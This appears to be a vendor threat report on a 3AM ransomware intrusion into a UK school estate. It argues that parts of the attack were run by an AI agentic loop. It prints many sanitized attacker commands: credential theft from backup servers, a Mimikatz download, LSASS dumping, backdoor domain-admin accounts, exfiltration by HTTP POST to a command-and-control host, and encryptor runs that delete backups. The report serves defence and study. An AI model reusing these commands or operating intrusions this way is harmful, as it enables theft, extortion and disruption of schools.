3AM Hits European Schools: A Hybrid AI Ransomware Attack, Part Human, Part Agentic Loop

I’d like to thank my colleagues, Adrian Schipor and Martin Zugec, for their invaluable contributions to this research.

TL;DR: It is the first case of this kind we have investigated, a hybrid operation in which some parts show a human operator at the keyboard while others behave like an agentic loop, a language model reading each result and retrying with different commands. In this case, a 3AM (ThreeAM) ransomware affiliate breached a European school estate in the UK, then used ordinary Windows tools to build domain trusts and reach other schools.

Three Kinds of AI Attack, and Why This One Is a Hybrid

Attacks that involve AI fall, broadly, into three categories.

1. In an AI-generated attack, a model writes the malware itself, often in bulk; our APT36 research described this as “vibeware” (Bitdefender research, March 2026).
   
2. In an AI-assisted attack, human engineers build the tools and use AI to speed up the work, as we assessed in the SilkParasite campaign (Bitdefender research, August 2026).
   
3. In an AI-operated attack, AI works the intrusion itself: it chooses and writes the commands, reads the results and adjusts, the way an attacker at a keyboard would. The first two describe how malware is made. The third describes who, or what, is running the attack.

We prefer putting attacks into buckets like these, but in cybersecurity things often sit in gray areas. In fact, this case we recently investigated does not fit a single bucket. A 3AM ransomware affiliate breached a school in the UK in what we consider a hybrid operation: some parts show a human operator at the keyboard, while others behave like an AI agent working throughout the intrusion.

With the exception of the encryptor itself, the whole operation was built on legitimate, built-in tools, which is standard for ransomware operations. This is living off the land (LOTL): abusing tools already present on the victim’s machines instead of bringing in custom malware. The attacker worked through PowerShell, WMI (Windows Management Instrumentation, the built-in interface for running commands on other machines), reg, netsh, rundll32 and the domain and scheduling utilities that ship with Windows. In our earlier analysis of about 700,000 security incidents, 84% of high-severity attacks involved LOTL binaries (Bitdefender research, June 2025), and four of the five most abused binaries in that study (netsh, PowerShell, reg and rundll32) appear in this intrusion. A handful of public tools were brought in as well, among them an Impacket-style remote execution tool, Mimikatz and a published Veeam script, but nothing in the toolkit is novel. That is the lesson of this case: an AI-enabled attack does not have to be novel or creative to work (The Hacker News, September 2026). It uses the techniques defenders already know.

What is different is how the attacker behaved, and several things point to an agentic loop, a program that feeds each result back to a model and runs what comes back. The commands carry the usual tells of a model: a call to the backup software’s web interface (Veeam, a widely used enterprise backup product) on a port and with a login method that do not match the vendor’s documentation, a mistake typical of writing from memory rather than from the manual (Veeam REST API authorization), along with confirmation files, self-labeled output and numbered revisions of the same script. The retries behave like a loop too.

On 13 September the attacker ran a PowerShell command, re-ran it unchanged 41 seconds later, changed a single call 49 seconds after that, and then, 47 seconds later, abandoned PowerShell for wmic, the older built-in command-line interface to WMI. The complete rewrite arrived as fast as the minor changes before it, and a person writing it by hand would be expected to take noticeably longer. The same held across nine retries:

• The delay before the next attempt ran from 40 to 101 seconds whatever the size of the change, while moving on to a new task took minutes.
• That split, longer time between tasks and shorter between retries, is what it looks like if a person is choosing the next step and a model is handling the retries.
• On 13 September, for example, the commands before the retry sequence were simpler and sat two to sixteen minutes apart, the pace of someone reading output and deciding what to do next.

The clearest example of this work is how the attacker joined the estate’s separate Active Directory domains (independent directories of accounts and computers). A domain trust, a configured relationship that lets accounts from one domain log on in another, is mechanical, order-sensitive work: it has to be set up correctly on both sides, names have to resolve between the domains, and one wrong detail stops everything. Here the attacker built the trusts and then ran a series of diagnostic probes and restarted the service that maintains the secure channel between domains.

Our reading, which is interpretation and not a finding, is that this is the kind of work a model suits: repetitive configuration where the fix comes from reading an error and trying again. It is also work a defender can see, because a new trust between domains is a rare change and cheap to alert on.

We were not able to access the machine the attacker worked from, so we cannot document anything about the language model itself: which model it was, whether it ran locally or remotely, or even whether a person was copying and pasting instructions and results between the implant and the model. What we can document is behavior, and the behavior is that of an agentic loop. We present the hybrid reading as the working model defenders should plan around, not as an established fact.

As a European cybersecurity company, we wanted to share the first case of this kind that we have documented in Europe. But right now it is one case, an anecdote, and not a trend. In general, most of what Bitdefender MDR sees in real-world investigations is still boring. Vibeware, the clearest example of AI-generated malware, accounts for only about 0.07% of the malware samples we collect each month, and most intrusions we investigate still look the way they did before language models. The attack was not fast: even its quickest retries took 40 seconds or more. “Machine speed” is a phrase that marketing repeats, usually about very expensive incidents backed by frontier-scale infrastructure, and we expect real-world attacks, especially those running local models, to look closer to what we observed. It was not innovative in any way: built-in tools, a few public ones and a commodity encryptor.

What this attack does show is that the hybrid approach works, and we assess that it makes economic sense for attackers, with a person setting the goals and a model handling the mechanical work. We can expect hybrid attacks like this one to become more common in 2027.

Join us for the LIVE discussion: A Hybrid AI Ransomware Attack.

What We Can and Cannot Show

Reports of “AI ransomware” tend to blur three separate claims, and this case supports them to very different degrees.

The second claim rests on the retry cadence described above: a steady delay per attempt, whatever the size of the change, is how a loop that waits on a model behaves. A person pasting output between a shell and a chat window could produce the same rhythm, so we describe the behavior and leave the mechanism open. Our log holds only detected events, so some attempts may be missing and every gap is an upper bound.

The pacing also bears on the third claim, though it cannot settle it. Between tasks, the gaps on 13 September were 5, 2, 14, 16 and 3 minutes, the pace of a person reading each result and choosing what to do next. Between retries, they were under two minutes. That is what a hybrid operation would look like, with a person deciding and a model doing the repetitive work, but a model that simply takes longer to plan a new task could look similar. Nothing in the telemetry rules either reading out.

Telemetry alone cannot close the gap between the three claims, because the machine most likely to hold any automation was an unmanaged host (an internal machine running no Bitdefender agent) that sat outside our visibility. Every attacker action we saw originated there.

Attribution and Victimology

We attribute the intrusion to a 3AM (ThreeAM) ransomware affiliate, and the attribution is confirmed. ThreeAM operates on a ransomware-as-a-service model, in which the core group develops the encryptor and leases it to affiliates who carry out the intrusions and share the proceeds. The encryptor build and its command-line pattern (the host.exe binary invoked with an ID argument and a speed argument, an anti-debugging check, and deletion of Windows system-state backups) are consistent with earlier public ThreeAM analyses.

The encryptor we analyzed is a Rust-based sample, and public tracking lists ThreeAM as first seen in February 2023. The rest of the tradecraft matches the classic affiliate playbook: Impacket-like tools for remote execution, credential theft from Veeam and from Windows endpoints, rogue domain administrators plus two-way trusts to reach separate domains, and removal of EDR agents before encryption. Background on the group is drawn from external tracking (WatchGuard, “ThreeAM”, October 2026).

It is worth saying plainly what is conventional here, because it is most of the operation. The affiliate model, the access, the encryptor, and the choice of a mid-sized public-sector target are all ordinary and human. The sign of a model lives in how the commands behave, not in the strategy behind them.

The target is a school estate in the UK. The machine list held 47 systems: about 21 servers, 8 of them domain controllers (the servers that hold the directory of accounts and enforce logins); 10 workstations still on Windows 10, which left support in October 2025; one domain controller on the older Windows Server 2012 R2; and the rest on Windows 11. The environment began as several separate Active Directory domains (separate account directories) that were not connected to each other.

The attacker’s reconnaissance was specific to the sector. From a domain controller it enumerated trust relationships between domains and searched SYSVOL (the shared folder where Active Directory stores logon scripts, readable by any domain user) for the names and subnets of other schools. The two backdoor domain-administrator accounts it created, library and svc_bkpmon, carried names chosen to blend into a school’s account list.

The Intrusion by Phase

All times are UTC. Each observed behavior is mapped to a MITRE ATT&CK technique, the industry-standard catalog of attacker actions, on first mention. Command-level analysis of the oddities in these steps is held for the next section; here we record what happened, when, and where the outcome is unknown.

Before September: Initial Access and Earlier Activity

We cannot establish two things.

First, initial access is unknown and we do not see how the attacker gained access. Second, two earlier events may or may not be related to this one: in one event, Restricted Admin mode (a remote-desktop mode that lets an account log on with a stolen hash or ticket instead of a password) was enabled on four machines on 23 January 2026. In another event, someone conducted a hand-typed interactive session on 5 June 2026. We treat these as earlier activity of an unconfirmed relationship, not as part of the September timeline.

Credential Theft From the Backup Servers (10 to 11 September)

The attacker’s first recorded September move targeted the backup infrastructure. A modified copy of a public tool (Veeam-Get-Creds.ps1) read the credentials stored in the backup software’s databases on three backup servers and decrypted them with DPAPI (the Windows Data Protection API, which encrypts secrets so only the owning account on that machine can read them back) (T1555 Credentials from Password Stores). Delivery used Impacket-style remote execution (Impacket is an open-source toolkit for running commands on remote Windows machines; see our explainer) (T1021.002 SMB/Windows Admin Shares). The first command ran through WMI, while the next two ran as services, with services.exe as the parent process, the pattern of service-based modules such as Impacket’s smbexec or psexec. A Chrome Login Data file, which holds saved browser passwords, was copied from a terminal server (T1555.003 Credentials from Web Browsers).

Commands (sanitized, UTC). The first line is the full command as logged, with the Base64 payload shortened. Below it are the key lines of the decoded payload. The public tool (Veeam-Get-Creds.ps1) reads the database server, instance and database names from the registry. Here those three values are hard-coded, and the rest follows the public tool’s approach: read the stored credentials, then decrypt them with DPAPI.

2026-09-10 23:50:04 cmd.exe /Q /c powershell.exe -e <Base64, 4104 chars> -OutputFormat Text 1> \Windows\Temp\<file> 2>&1
decoded (key lines):
$SqlDatabaseName = "VeeamBackup"
$SqlServerName = "<backup-server>"
$SqlInstanceName = "VEEAMSQL2016"
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''"
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )

2026-09-11 01:36:23 cmd.exe /Q /c copy "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Windows\Temp\<epoch-timestamp>"

Proof of Domain Admin and Domain Reconnaissance (12 to 13 September)

From a machine where SQL Server was the parent process, the attacker tested connections to other hosts. At 01:01 on 12 September, through the same route, one script tested connectivity to four targets on the SMB, RDP and WinRM ports (445, 3389 and 5985), tried to add a Windows Defender exclusion for C:\Windows\Temp, and downloaded Mimikatz from its public GitHub release (version 2.2.0-20220919) into that folder. On a domain controller it then ran whoami and listed the Domain Admins and Enterprise Admins groups into a file named da_proof.txt, apparently a check of its own rights. The commands from 13 September onward redirect their output to files named __ followed by a timestamp in the hidden ADMIN$ share, which is the signature of the wmiexec module of Impacket, the toolkit described above.

Image Above: How Impacket’s wmiexec runs a command on a target machine: the attacker sends it over WMI, the output lands in a timestamped file in the ADMIN$ share, the attacker reads it back, and a person or a model chooses the next command.

Portable Python 3.11 was dropped into C:\Windows\Temp on two workstations to run a script named crackw.py (T1059.006 Python). On a domain controller, the attacker enumerated service accounts running under non-system users (T1087 Account Discovery), listed domain trusts with nltest /domain_trusts (a built-in tool for querying trust relationships) (T1482 Domain Trust Discovery), and ran the SYSVOL search for other schools’ names and subnets.

Commands (sanitized, UTC). The <...> tokens replace names, addresses, search terms and identifiers that would reveal the victim. The 2>/dev/null redirects and the ===...=== markers are as the attacker wrote them.

2026-09-12 00:35:27 powershell -NoProfile -EncodedCommand <Base64, 1216 chars>
decoded: Write-Output ('PORT445: ' + (Test-NetConnection -ComputerName <ip> -Port 445 -WarningAction SilentlyContinue).TcpTestSucceeded)
net use \\<ip>\IPC$ /user:<backup-account> <redacted> 2>&1 | ForEach-Object { Write-Output ('IPC: ' + $_) }
Write-Output '== SHARES =='
$out = net view \\<ip> 2>&1
foreach ($l in $out) { Write-Output ('SH: ' + $l) }
net use \\<ip>\IPC$ /delete 2>&1 | Out-Null

2026-09-12 01:01:13 cmd.exe /c powershell -NoProfile -EncodedCommand <Base64, 3424 chars>
decoded: $ProgressPreference='SilentlyContinue'
Write-Output '== CONNECTIVITY =='
foreach ($t in @(@('<ip>',445), @('<ip>',3389), @('<ip>',5985), @('<ip>',445))) {
$r = Test-NetConnection -ComputerName $t[0] -Port $t[1] -WarningAction SilentlyContinue
Write-Output ($t[0] + ':' + $t[1] + ' = ' + $r.TcpTestSucceeded)
}
Write-Output '== EXCLUSION =='
try { Set-MpPreference -ExclusionPath 'C:\Windows\Temp' -ErrorAction Stop; Write-Output 'EXCL-OK' } catch { Write-Output ('EXCL-ERR: ' + $_.Exception.Message.Substring(0,80)) }
Write-Output '== DOWNLOAD =='
try {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip' -OutFile 'C:\Windows\Temp\m.zip' -TimeoutSec 120 -UseBasicParsing
Write-Output ('DL: ' + (Get-Item C:\Windows\Temp\m.zip).Length)
Expand-Archive -Path 'C:\Windows\Temp\m.zip' -DestinationPath 'C:\Windows\Temp\mimi' -Force
Get-ChildItem 'C:\Windows\Temp\mimi' -Recurse -Filter mimikatz.exe | ForEach-Object { Write-Output ('EXE: ' + $_.FullName + ' | ' + $_.Length) }
} catch { Write-Output ('DL-ERR: ' + $_.Exception.Message.Substring(0,[Math]::Min(120,$_.Exception.Message.Length))) }

2026-09-12 01:55:24 cmd.exe /c whoami ^& net group "Domain Admins" /domain ^& net group "Enterprise Admins" /domain > C:\Windows\Temp\da_proof.txt 2>&1

2026-09-13 02:14:23 cmd.exe /Q /c cmd /c echo ===<TERM>-REFS=== & findstr /s /i /m "<term> <school> <school-id> <ip-range>" C:\Windows\SYSVOL\<domain>\scripts\*.* 2>/dev/null & findstr /s /i /m "<term> <school> <school-id>" C:\*.ini C:\*.bat C:\*.cmd C:\*.xml C:\*.txt 2>/dev/null & echo ===NETLOGON=== & dir C:\Windows\SYSVOL\<domain>\scripts 2>/dev/null & echo ===TRUSTS=== & nltest /domain_trusts 1> \\<host>\ADMIN$\__<epoch-timestamp> 2>&1

Credential Dumping and Backdoor Accounts (14 September)

The attacker saved the SECURITY and SYSTEM registry hives from the 2012 R2 domain controller with reg save (these hives contain hashed credentials and secrets), and ran Mimikatz, a well-known credential-dumping tool, renamed to sysmon64.exe to look like a legitimate monitoring binary (T1003 OS Credential Dumping, T1036 Masquerading). An attempt was made to dump the memory of LSASS (the Local Security Authority Subsystem Service, the Windows process that holds live credentials). Its outcome is unknown. The forensics team also saw the SAM and SECURITY hives dumped remotely over the winreg named pipe, which is how the RemoteRegistry service is reached, and found Mimikatz under several other names, among them svcstat.exe, two randomly named .tmp.exe files and a copy dropped in a buzzypdf application folder. Two backdoor domain-administrator accounts were created, by two separate routes, which made persistence redundant: one from the context of the school-management system’s backup job, the other over WinRM (Windows Remote Management, the remote PowerShell service) (T1136.002 Create Account: Domain Account, T1021.006 Windows Remote Management).

Commands (sanitized, UTC). Note the second reg save: the same command repeated 40 seconds later with 2>&1 added. In the for /f line, the missing delims="," is why rundll32 received K" as the process ID.

 2026-09-14 15:55:24 cmd.exe /c "reg save HKLM\SECURITY C:\Windows\Temp\sec.save /y"
2026-09-14 15:55:25 cmd.exe /c "reg save HKLM\SYSTEM C:\Windows\Temp\sys.save /y"
2026-09-14 15:56:04 cmd.exe /c "reg save HKLM\SECURITY C:\Windows\Temp\sec.save /y 2>&1"

2026-09-14 16:59:27 cmd /c C:\Windows\Temp\sysmon64.exe "log C:\Windows\Temp\mimi.log" "privilege::debug" "sekurlsa::logonpasswords" "lsadump::cache" "exit" > C:\Windows\Temp\mimi_run.txt 2>&1

2026-09-14 17:02:38 cmd /c for /f "tokens=2" %a in ('tasklist /fi "imagename eq lsass.exe" /fo csv ^| more +1') do @rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump %~a C:\Windows\Temp\ls.dmp full > C:\Windows\Temp\dmp.log 2>&1
2026-09-14 17:02:53 rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump K" C:\Windows\Temp\ls.dmp full

2026-09-14 19:06:14 net user library <redacted> /add /domain
2026-09-14 19:06:15 net group "Domain Admins" library /add /domain
2026-09-15 00:03:36 net user svc_bkpmon <redacted> /add /domain
2026-09-15 00:03:37 net group "Domain Admins" svc_bkpmon /add /domain

Collection and Exfiltration Through the Registry (15 September)

The second attempt at the backup-software credentials ran over DCOM/CIM (Windows remote-management interfaces for invoking actions on other machines), which are the transport for WMI (Windows Management Instrumentation, a built-in interface for running commands on remote machines) (T1047 Windows Management Instrumentation), and returned its results through the remote registry under HKLM\SOFTWARE\VC31 rather than over the network directly. This is the attempt that used the wrong port and authentication scheme, analyzed in the next section; its outcome is unknown. Forty files from a finance share were staged into registry values the same way, copied with robocopy to the unmanaged host (using the library account) and to another domain’s SYSVOL (using svc_bkpmon), zipped, and sent by HTTP POST to a page named rcv.aspx on the unmanaged host, which served as the attacker’s C2 (command-and-control, the channel an attacker uses to direct compromised machines) endpoint (T1074 Data Staged, T1112 Modify Registry, T1041 Exfiltration Over C2 Channel). Periodic alive HH:mm status messages went to the same endpoint. The registry-as-transport channel is an unusual choice and a strong indicator to hunt for.

Commands (sanitized, UTC). The first line is the probe that created a scheduled task named VEEAMPROBE on the backup server, running as SYSTEM. The last two are the upload and the status message. The decoded script is reformatted for readability.

 2026-09-15 02:39:47 cmd /c schtasks /s <ip> /u svc_bkpmon /p <redacted> /create /tn VEEAMPROBE /tr "cmd /c echo TASK-OK ^> C:\Windows\Temp\task_probe.txt" /sc once /st 23:59 /ru SYSTEM /f ^> C:\Windows\Temp\st.txt 2^>^&1 ^& schtasks /s <ip> /u svc_bkpmon /p <redacted> /run /tn VEEAMPROBE ^>^> C:\Windows\Temp\st.txt 2^>^&1

2026-09-15 05:19:41 cmd /c net use \\<unmanaged-host>\C$ library /user:<domain3-netbios>\library <redacted> C:\Windows\Temp\rc.txt 2>&1 & robocopy "<finance-share>\<folder>" "\\<unmanaged-host>\C$\Windows\Temp\rst\finance_mirror\<folder>" /E /R:1 /W:1 /NFL /NDL >> C:\Windows\Temp\rc.txt 2>&1 & robocopy "C:\<output-folder>" "\\<unmanaged-host>\C$\Windows\Temp\rst\finance_mirror\<output-folder>" /E /R:1 /W:1 /NFL /NDL >> C:\Windows\Temp\rc.txt 2>&1 & net use \\<unmanaged-host>\C$ /d >> C:\Windows\Temp\rc.txt 2>&1

2026-09-15 05:22:21 powershell -NoProfile -EncodedCommand <Base64, 1984 chars>
decoded: $files = Get-ChildItem '<finance-share>' -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.Length -gt 0 -and $_.Length -lt 700KB -and $_.Extension -match '\.(txt|csv|dbf|mdb|xls|xlsx|pdf|doc|docx|xml|ini|log|tsv|rtf)$' } | Select-Object -First 40
$n = 0
foreach ($f in $files) {
$n++
$vname = 'FIN' + $n.ToString('D3')
try {
$b = [Convert]::ToBase64String([IO.File]::ReadAllBytes($f.FullName))
if ($b.Length -lt 900000) { New-ItemProperty -Path HKLM:\SOFTWARE -Name $vname -Value ($f.FullName + '|' + $b) -PropertyType String -Force -ErrorAction Stop | Out-Null }
} catch {}
}
New-ItemProperty -Path HKLM:\SOFTWARE -Name FINCOUNT -Value $n -PropertyType String -Force | Out-Null

2026-09-15 05:24:16 cmd /c net use \\<host>\SYSVOL /user:<domain2>\svc_bkpmon <redacted> > C:\Windows\Temp\rc2.txt 2>&1 & robocopy "<finance-share>\<folder>" "\\<host>\SYSVOL\<domain>\scripts\finmirror" /E /R:1 /W:1 /NFL /NDL /MAX:2048000 >> C:\Windows\Temp\rc2.txt 2>&1 & net use \\<host>\SYSVOL /d >> C:\Windows\Temp\rc2.txt 2>&1

2026-09-15 05:27:40 powershell -NoProfile -Command "try { Compress-Archive -Path '<finance-share>\<folder>','<finance-share>\Backup','C:\<output-folder>' -DestinationPath C:\Windows\Temp\fin.zip -Force -ErrorAction Stop; $len=(Get-Item C:\Windows\Temp\fin.zip).Length; Invoke-WebRequest -Uri 'http://<unmanaged-host>/rcv.aspx?f=fin.zip' -Method Post -InFile C:\Windows\Temp\fin.zip -TimeoutSec 180 -UseBasicParsing | Out-Null; ('POSTED size=' + $len) | Out-File C:\Windows\Temp\posted.txt } catch { ('ERR ' + $_.Exception.Message) | Out-File C:\Windows\Temp\posted.txt }"

2026-09-15 05:32:56 powershell -NoProfile -Command "$t = Get-Date -Format HH:mm; $st = 'alive ' + $t; if (Test-Path C:\Windows\Temp\posted.txt) { $st = [IO.File]::ReadAllText(C:\Windows\Temp\posted.txt) } ; try { Invoke-WebRequest -Uri 'http://<unmanaged-host>/rcv.aspx?f=status.txt' -Method Post -Body $st -TimeoutSec 30 -UseBasicParsing | Out-Null } catch { 'postfail ' + $_.Exception.Message | Out-File C:\Windows\Temp\posted.txt -Append }"

Domain Trusts and the Access Push (18 September)

Within a roughly three-hour window the attacker joined three separate domains with two-way trusts and pushed the backdoor account’s access across the estate. This is the clearest worked example of the hybrid pattern, so it has its own section below rather than being narrated twice here.

Loader Development and Encryption (19 September)

An attempt to remove EDR, a standard step before encryption, ran on the file server as av_remove.ps1, then again as av_remove2.ps1 seven minutes later, and a third revision, av_remove3.ps1, is known from its hash (T1562.001 Impair Defenses). The scripts were aimed at Sophos and Bitdefender, and anti-tampering controls blocked the removal (Bitdefender TechZone, anti-tampering and detection evasion). Also on 19 September, a randomly named executable started by services.exe ran a psexec-ok marker command, which matches RemCom-based execution, the service implementation used by Impacket’s psexec module. A script loader was developed on one workstation through visible iterations and then deployed to about 40 machines using randomly named job*.cmd and cfg*.txt files, in a fixed order, at about 101 seconds per machine, repeating roughly every two hours (T1053.005 Scheduled Task). The ThreeAM encryptor (host.exe) then ran from 05:07 to 05:33, at 12 to 13 seconds per machine, deleting system-state backups as it went with wbadmin (T1486 Data Encrypted for Impact, T1490 Inhibit System Recovery). Three further install attempts (prx, prx2, prx3) followed on one server, and a persistent callback was left on the server running SQL Server.

Commands (sanitized, UTC). The loader step writes step1.txt, step2.txt and step3.txt as it goes, which is the self-logging described in the next section. The -k value is withheld. It is not related to the data encryption: from what we analyzed, it serves two purposes, as an anti-sandbox check (the real sample only runs when the argument is supplied) and as a victim identification ID for the affiliate.”

2026-09-19 00:27:22 cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\av_remove.ps1
2026-09-19 00:34:23 cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\av_remove2.ps1

2026-09-19 02:29:28 powershell -NoProfile -Command "$d=[IO.File]::ReadAllText('C:\Windows\Temp\svc_data.txt');Set-Content C:\Windows\Temp\step1.txt $d.Length;$p='C:\Windows\Temp\svc_test.ps1';[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String($d));Set-Content C:\Windows\Temp\step2.txt (Test-Path $p);powershell -NoProfile -ExecutionPolicy Bypass -File $p;Set-Content C:\Windows\Temp\step3.txt "done rc=$LASTEXITCODE""

2026-09-19 04:49:48 services.exe > C:\Windows\<random-name>.exe
2026-09-19 04:49:50 cmd /c echo psexec-ok ^> C:\Windows\Temp\psx_mark.txt

2026-09-19 05:07:04 cmd.exe /c C:\Windows\Temp\1\host.exe -k <victim ID withheld> -s 15
2026-09-19 05:07:04 (child of host.exe) netsh.exe advfirewall firewall set rule group="Network Discovery" new enable=Yes
2026-09-19 05:15:18 (child of host.exe, on another machine) wbadmin.exe delete systemstatebackup -keepVersions:0 -quiet

2026-09-19 05:37:04 cmd.exe /c ""C:\Windows\Temp\prx_go.cmd""
2026-09-19 05:37:04 powershell -NoProfile -Command "$d=[IO.File]::ReadAllText('C:\Windows\Temp\prx.txt');iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($d)))"

Defender action: Alert on credential-reading access to backup-software databases and on reg save of the SECURITY, SYSTEM, or SAM hives (the SAM hive stores local account password hashes) by any process other than a known backup or administration job. Both are rare on a healthy network and both sat at the front of this intrusion.

What the Commands Tell Us About the Model Behind Them

This section addresses claim one only: whether a language model generated the commands. The evidence is presented in order of strength, and the strength is labeled. None of it bears on whether a program or a person carried each result back to the model.

Errors a Writer Makes From Memory, Not From the Manual

The strongest signal is a cluster of mistakes typical of generating commands from recalled knowledge rather than from documentation or trial and error.

The backup-software call is the clearest. It reached for port 9392 with HTTP Basic authentication against the real credentials path, when Veeam’s REST examples use port 9419 and require an OAuth2 token. The specifics are the kind a manual or a working script would have supplied; a writer reconstructing the call from memory gets the shape right and the specifics wrong. We could not confirm whether that resource ever returns passwords at all.

2026-09-15 02:41:25 powershell -NoProfile -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; try { $r=Invoke-RestMethod -Uri 'https://<ip>:9392/api/v1/credentials' -Credential (New-Object PSCredential('svc_bkpmon',(ConvertTo-SecureString <redacted> -AsPlainText -Force))) -Authentication Basic -ErrorAction Stop; $r.data | ForEach-Object { $_.username + ' : ' + $_.password + ' | ' + $_.description } | Out-File C:\Windows\Temp\rest.txt } catch { ('ERR ' + $_.Exception.Message) | Out-File C:\Windows\Temp\rest.txt }"

An LSASS-dump one-liner used for /f "tokens=2" over tasklist /fo csv output without specifying delims=",". In plain terms, the command tried to pull the second column of a comma-separated list but, without telling the parser that commas separate the columns, it grabbed the wrong fragment and passed the trailing K" of a memory-size figure where a process ID belonged. It is the kind of delimiter parsing bug that compiles in the writer’s head and fails on the machine. The full command and the resulting rundll32 call, with the stray K", are shown in the credential-dumping section above.

Bash-style \$ escape sequences appeared inside Windows double-quoted PowerShell on 14, 15, and 19 September. That idiom belongs to Unix shells, not Windows ones. Its recurrence on three separate days (14, 15, and 19 September) is the point: this is a habit, not a one-off slip. One example, from 14 September:

 2026-09-14 17:01:40 powershell -c "Get-CimInstance win32_service | Where-Object { \$_.StartName -and \$_.StartName -notmatch 'SYSTEM|LOCAL|NETWORK|NT ' } | Select Name,StartName,PathName | Format-Table -AutoSize | Out-File C:\Windows\Temp\svc2.txt -Width 250"

Unix Habits in Windows Commands

Three commands used 2>/dev/null, the Unix way of discarding error output, inside Windows command lines. All three fell in one 51-minute window on 13 September and the idiom never recurs. On its own it would be weak. Alongside the escape errors, it is consistent with a writer whose default register is Unix shell. The 13 September reconnaissance command in the second command block above is one of the three.

Probe, Confirm, Label, and Revise

The commands show a working style built around checking each step before relying on it: test strings and confirmation files such as test123, TASK-OK, psexec-ok, da_proof.txt, and wmi_test.txt, and a scheduled task literally named VEEAMPROBE. One script logged its own numbered progress (1 start through 7 DONE). Output was often self-labeled inside a single command (echo ===TRUSTS===, or a probe script printing == CONNECTIVITY ==, == EXCLUSION ==, and == DOWNLOAD ==) and collapsed into one separator-joined string. Progress and warning output was suppressed ($ProgressPreference='SilentlyContinue', -WarningAction SilentlyContinue), which keeps the output short and clean for whoever, or whatever, reads it next. A single first-move probe tested connectivity to four targets, tried to add a Windows Defender exclusion for C:\Windows\Temp, and downloaded Mimikatz into that folder (T1105 Ingress Tool Transfer); every later artifact lived in that directory.

Numbered revisions of the same task recur throughout: dcboot/dcboot2, av_remove/av_remove2, prx/prx2/prx3, and the loader’s iterations. File hashes show there were more revisions than our command log captured: hop2.ps1, hop3.ps1 and av_remove3.ps1 exist but never appear in the log, and two different versions of grant_lib.ps1 were deployed under the same name. This is diagnose-and-adapt behavior, and it fits either a model revising its own output or a person iterating by hand. One detail matters here: each revision left a new, higher-numbered file behind instead of an edit to the earlier one, which is typical of an agentic loop that writes a new file per generation.

The clearest single example is a retry sequence on one domain controller on 13 September.

The four runs, in full (the decoded script is reformatted for readability, and the Base64 payloads are shortened):

2026-09-13 02:50:18 cmd.exe /Q /c cmd /c powershell -NoProfile -EncodedCommand <Base64, 1776 chars> 1> \\<host>\ADMIN$\__<epoch-timestamp> 2>&1
decoded: $out = ''
Get-CimInstance win32_service -ErrorAction SilentlyContinue | Where-Object { $_.StartName -notmatch 'LocalSystem|LocalService|NetworkService' } | ForEach-Object { $out += ($_.Name + ' = ' + $_.StartName + ' ; ') }
$out += ' ###TRUSTS### ; '
$out += ((nltest /domain_trusts | Out-String) -replace "`r`n", ' ; ')
$out += ' ###SOFT### ; '
$paths = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*')
Get-ItemProperty $paths -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | ForEach-Object { $out += ($_.DisplayName + ' ; ') }
[Console]::Out.Write($out)

2026-09-13 02:50:59 (run 2: the same command, byte-identical)

2026-09-13 02:51:48 cmd.exe /Q /c cmd /c powershell -NoProfile -EncodedCommand <Base64, 1752 chars> 1> \\<host>\ADMIN$\__<epoch-timestamp> 2>&1
decoded: (run 1's script, except the last line is now) Write-Output $out

2026-09-13 02:52:35 cmd.exe /Q /c cmd /c wmic service where "not startname like '%LocalSystem%' and not startname like '%LocalService%' and not startname like '%NetworkService%'" get name,startname /format:list 2>/dev/null & echo ===TRUSTS=== & nltest /domain_trusts & echo ===SOFT=== & reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayName 2>/dev/null | findstr /i DisplayName 1> \\<host>\ADMIN$\__<epoch-timestamp> 2>&1

The pattern (repeat, tweak one call, then switch tooling) reads as diagnose-and-adapt, and at 41 to 49 seconds per attempt it matches the loop behavior described in the opening. The sequence shows the behavior and not the mechanism. Sanitized versions of this sequence, the Veeam REST call and the for /f LSASS one-liner appear in full in this article.

How We Measured Two Authoring Styles

We measured authoring styles across 60 distinct hands-on steps, command length splits into two regimes. Sessions on 13 and 15 September run long, with a median of 365 to 493 characters, bundling reconnaissance and error handling into single commands. Sessions on 12 and 14 September run short, 46 to 86 characters, one tool per command. On the same task, domain discovery, the median was 683 characters on 13 September against 80 on 14 September. This shows two authoring styles. It does not show two authors: the model-style errors above appear in both regimes, so even the short sessions were probably model-written.

What Does Not Point to a Model

For balance, several things cut the other way, and they matter. The encryptor is a conventional commodity binary (host.exe -k <victim ID> -s 15, an anti-debug check, wbadmin backup deletion), consistent with earlier public ThreeAM analyses. The tooling is public throughout: the published Veeam script, Impacket patterns, Mimikatz. No natural-language comments, docstrings, or reasoning text appear in any bespoke payload we can read; the only commented script in the log is the public Veeam tool, carrying its original author’s comments. That absence matters because self-narrating comments were one of the main lines of evidence in the JadePuffer case.

No decision cycle ran faster than about 40 to 60 seconds in the hands-on phase. The fast segments (about 101 seconds and 12 to 13 seconds per machine) are scheduled fan-outs, which are deterministic loops, not decisions. And misspellings are not a reliable signal in either direction: a single misspelling (wevutil for wevtutil) appears in the log, and we draw no conclusion from it either way.

